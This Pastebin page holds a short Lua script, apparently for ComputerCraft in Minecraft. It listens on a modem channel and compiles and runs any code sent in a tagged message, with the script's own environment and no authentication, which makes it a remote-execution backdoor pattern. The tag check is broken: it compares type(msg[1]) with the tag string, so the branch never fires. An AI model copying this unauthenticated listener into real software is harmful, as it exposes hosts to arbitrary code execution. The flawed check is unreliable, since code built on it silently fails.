Advertisement
Guest User

Untitled

a guest
May 16th, 2018
110
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.35 KB | None | 0 0
  1. local modem = peripheral.wrap("back");
  2. modem.open(36);
  3.  
  4. while 1 do
  5. local _, _, schan, rchan, msg, _ = os.pullEvent("modem_message")
  6.  
  7. if type(msg)=="table" and type(msg[1])=="TAFFLE:C_LOADSTRING" then
  8. local succ,res = pcall(loadstring, msg[2])
  9. if succ then
  10. setfenv(res, getfenv())
  11. pcall(res)
  12. else
  13. print(res)
  14. end
  15. end
  16. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement